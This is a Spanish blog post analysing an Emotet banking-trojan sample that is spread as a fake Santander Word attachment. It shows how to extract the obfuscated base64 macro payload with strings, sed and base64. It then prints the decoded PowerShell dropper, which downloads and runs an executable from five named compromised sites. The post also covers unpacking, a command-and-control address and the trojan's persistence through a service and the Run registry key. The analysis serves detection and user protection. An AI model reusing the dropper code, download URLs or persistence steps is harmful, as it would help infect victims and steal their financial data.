Analizando el troyano bancario Emotet

Últimamente se están recibiendo campañas con este troyano, ¿qué es lo que hace?

Regresa el troyano Emotet: así actúa y cómo evitar caer en la trampa del correo malicioso que te infecta. Ver más

Como resumen os diré (y que podéis leer en el enlace anterior) que el troyano diseñado para robar datos financieros que ha vuelto bajo la apariencia de correos que se hacen pasar por contactos de la libreta de direcciones de la víctima, en una nueva estrategia que afecta especialmente a España.

Dicho esto, vamos a ver cómo podemos analizarlo y detectarlo, además de algunos consejos para no ser víctima de este tipo de malware.

Analizaremos esta muestra en todo su proceso, que simular ser un documento del banco Santander (“Santander 205517923549780.doc”)

Como podréis comprobar, el documento no se llega a ejecutar con éxito en esta plataforma debido a alguna protección que lleva y que veremos después.

Lo primero y más importante es cómo llega a vosotros, es por correo. Normalmente recibís un correo desde una cuenta desconocida con un adjunto, un documento de Microsoft Office Word, Excel, PDF, etc.

En este caso, le han dado una vuelta de tuerca, y esta vez, para hacerlo más creíble, llegará desde una dirección de correo de algún conocido.  Como podíamos leer en el anterior artículo y según ESET:

En los correos recibidos en las últimas horas se pueden observar varios puntos importantes para identificarlos como maliciosos. Uno de ellos es que no aparece un remitente sino dos. El primero es el que suplanta el malware para hacernos creer que el correo viene remitido por alguien de confianza. Por su parte, el segundo remitente que se puede observar en el campo «De:» o en el Return Path de la cabecera del correo pertenece al dominio comprometido por los atacantes y usado para realizar el envío masivo de correos.

Si te llega un correo con un adjunto desde una dirección desconocida, la solución es fácil, no lo abráis nunca, borradlo directamente. Pero ¿y si os llega desde una dirección conocida? La cosa se complica como os habrá pasado a algunos.

El documento de recibido tiene este aspecto:

Salvo que confiéis 100% en el documento, no debéis “Habilitar contenido” en él. Si lo hacéis, preparaos para lo peor. Si utilizáis algún antivirus, cosa altamente recomendable, puede que lo detecte y no se ejecuten las macros, en caso contrario, esto es lo que pasará.

Otras de las muestras que he podido analizar llevan una protección contra plataformas de análisis online como el enlace que os puse arriba (Hybrid Analysis), si no tiene más de 3 documentos abiertos recientemente, no funcionará. Con esto evitan que se sepa desde donde descargarán el troyano. Recordemos que este solamente es el documento que descarga y ejecuta el troyano.

Las macros (ofuscadas, no se ve lo hacen a simple vista) ejecutan un comando Powershell con las descarga del malware desde unas URL.

Podemos coger ese código codificado en Base64 y utilizar vuestra herramienta preferida para decodificarlo (el comando base64 de linux/cygwin etc. sería suficiente).

Que nos dice el anterior script programado para Powershell, descarga el malware desde cualquiera de esas URL, guardalo en el perfil del usuario con el nombre “212.exe” y ejecútalo. Si esto ocurre, entonces habría que poner medidas. Hay cientos de soluciones para eliminar el troyano del equipo, para gustos, colores.

Para detectar este tipo de documentos y sacar esas URL que hemos visto, no es necesario abrirlos. Podemos ejecutar el siguiente comando:

$ strings Santander 205517923549780.doc | grep -A 2 Forms.TextBox.1 | grep JABI
JABIuH3tAEIuH3gASIuH3wB3IuH3AFIIuH3ARgIuH3A9AIuH3CcAIuH3SgBIuH3JAGIuH3IAbIuH3gB2Iu
H3AGYIuH3AbwIuH3BMAIuH3CcAIuH3OwAIuH3kAGIuH3IAMIuH3wBhIuH3AFMIuH3AaQIuH3BtAIuH3DQA
IuH3XwAIuH3gADIuH30AIIuH3AAnIuH3ADkIuH3AOAIuH3AyAIuH3CcAIuH3OwAIuH3kAEIuH3cAdIuH3g
BIIuH3AEsIuH3AMgIuH3BNAIuH3D0AIuH3JwBIuH3uAFIuH38AdIuH3gBQIuH3AGoIuH3AcgIuH3BwAIuH
3CcAIuH3OwAIuH3kAFIuH3EAeIuH3gBpIuH3AEEIuH3AQgIuH3BCAIuH3DYAIuH3TAAIuH39ACIuH3QAZI
uH3QBuIuH3AHYIuH3AOgIuH3B1AIuH3HMAIuH3ZQBIuH3yAHIuH3AAcIuH3gBvIuH3AGYIuH3AaQIuH3Bs
AIuH3GUAIuH3KwAIuH3nAFIuH3wAJIuH3wArIuH3ACQIuH3AYgIuH3AzAIuH3GEAI ….

El comando “grep” del final lo he puesto para que salga directamente, lo importante es el “grep” anterior.

Esa cadena que veis el el código codificado en base64 que ejecutará Powershell, sólo que con una particularidad, tal cual no funcionará. Hay que eliminar caracteres. La macro eliminaba o reemplazaba “IuH3” por nada. Así que veamos qué pasará si lo hacemos.

$ strings Santander 205517923549780.doc | grep -A 2
Forms.TextBox.1 | grep JABI | sed 's/IuH3//g'
JABtAEgASwB3AFIARgA9ACcASgBJAGIAbgB2AGYAbwBMACcAOwAkAGIAMwBhAFM
AaQBtADQAXwAgAD0AIAAnADkAOAAyACcAOwAkAEcAdgBIAEsAMgBNAD0AJwBuAF
8AdgBQAGoAcgBwACcAOwAkAFEAegBpAEEAQgBCADYATAA9ACQAZQBuAHYAOgB1A
HMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYgAzAGEAUwBpAG0ANABf
ACsAJwAuAGUAeABlACcAOwAkAGoAdwB0
….

Tiene mejor pinta, ahora solamente nos queda ejecutar “base64 -d” para obtener lo mismo que veíamos anteriormente, el script que ejecutará Powershell.

$ strings Santander 205517923549780.doc | grep -A 2 Forms.TextBox.1
| grep JABI | sed 's/IuH3//g' | base64 -d
$mHKwRF='JIbnvfoL';$b3aSim4_ = '982';$GvHK2M='n_vPjrp';
$QziABB6L=$env:userprofile+''
+$b3aSim4_+'.exe'
$jwt7_N='Z6G6oToS';$z_nf09=.
('new-'+'ob'+'ject') nEt.WebClient;$EIpSGwu='
https://sabiosdelamor.co/wp-content/VtyEqoElo/@
https://www.euroausili.it/wp-content/iIFSXTWmN/@
https://opel.km.ua/blogs/3uju_tiowf9i-149/@
https://hablabestop.live/rqbe9p/pKkLiuqGj/@
https://dogongulong.vn/wp-admin/vaIDeyDj/'."
sP'liT"('@');$Xn9Tjqi='W548GPbi';foreach($CiXHiW
in $EIpSGwu){try{$z_nf09."d'ow'N'lOADFIle"($CiXHiW,
$QziABB6L);$HIiHWWSf='jH8oIM';If ((&('Get'+'-I'+'tem')
$QziABB6L)."leN'gtH" -ge 32385) {[Diagnostics.Process]::
"sT'Art"($QziABB6L);$KCbsjk=
'wApMvaa';break;$vjl8QLw='Q8Pz5n'}}catch{}}$A1saBh='QiB67rh4'

Como veis tiene el mismo aspecto, almacena las URL separadas con una @rroba, las separa y va recorriendo una a una hasta que consigue descargar el troyano bancario.

Vale, ya lo tenemos, ¿cómo infecta el equipo? Tiene muchas cadenas cifradas con algún algoritmo, luego veremos cual.

Las más importantes corresponden a funciones de la API de Windows o dll que utilizará después.

Ejemplo de función de API:

Función API

Ejemplo de DLL:

Ejemplo DLL

¿Cómo lo hace para dificultar la obtención de las mismas?

De esta forma, evitan que aparezcan con comandos del tipo strings, es una protección más. El fichero que será ejecutado en memoria está dentro de un recurso:

Ejecución en memoria está dentro de un recurso

Aparentemente son datos, no tiene una cabecera PE. No lo quieren poner tan fácil. Este es el troyano conocido como Emotet, por fin, pero antes hay que extraerlo y descifrarlo.

Primero se prepara para copiar el contenido en memoria.

Copia de datos en memoria del malware

Una vez obtiene la dirección donde será copiado, procede a ello.

Inicio de la copia del Malware en memoria

Ya está en su sitio, faltaría descifrarlo. Mediante una función RC4 con esta clave, lo descifra:

Ya podemos extraerlo.

Extracción de memoria de Malware Emotet

Y arreglarlo:

Como podeis imaginar, se trata de un packer. ¿Se puede automatizar este proceso?

¡Se puede! Podemos utilizar r2pipe para ello.

En las strings (una vez abierto y analizado el fichero con radare2) nos da una pista:

Tenemos una cadena que nos dice algo de descifrar si la clave falla…

Vale, así que tenemos una función, esa call “fcn.00405d30” a la que se le pasan datos y una clave.

fcn.00405d30

De esta forma se puede obtener la clave, extraer el recurso del binario, descrifrarlo con la clave y ya tenemos el troyano limpio, listo para analizar. Sobre él y su funcionamiento hay muchas literatura escrita y la rueda ya está inventada

Como resumen, si tiene permisos crea un servicio, se copia a c:windowssystem32 y se ejecuta como system. Aquí podéis verlo funcionando en un cuckoo cualquiera:

Cuckoo Emotet

Y comienza a comunicarse con el Command and Control:

Command and Control Emotet

hxxp://190.158.19.141/report/symbols/between/

Para este caso concreto se ejecutaría de esta forma (siendo _01170000.exe el binario extraído anteriormente):

C:UsersRAAppDataLocalTemp_01170000.exe –10f0e098
«C:Windowssystem32mirayellow.exe»
C:Windowssystem32mirayellow.exe –341c76f3

Sin los parámetros no funcionaría bien…. ojo. Crea el servicio ”mirayellow” y lo inicia como veíais anteriormente en los procesos.

En el caso de no disponer de permisos, se copia en el %APPDATA% y se crea la clave de registro correspondiente en el clásico “Run” (HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun).

Nos vemos/leemos pronto en otro artículo.

Hasta otra!!

GonzaloCN
Acerca de 
Administrador de Sistemas/Seguridad informática, adoro las nuevas tecnologías y gadgets. Blogero de pura cepa :)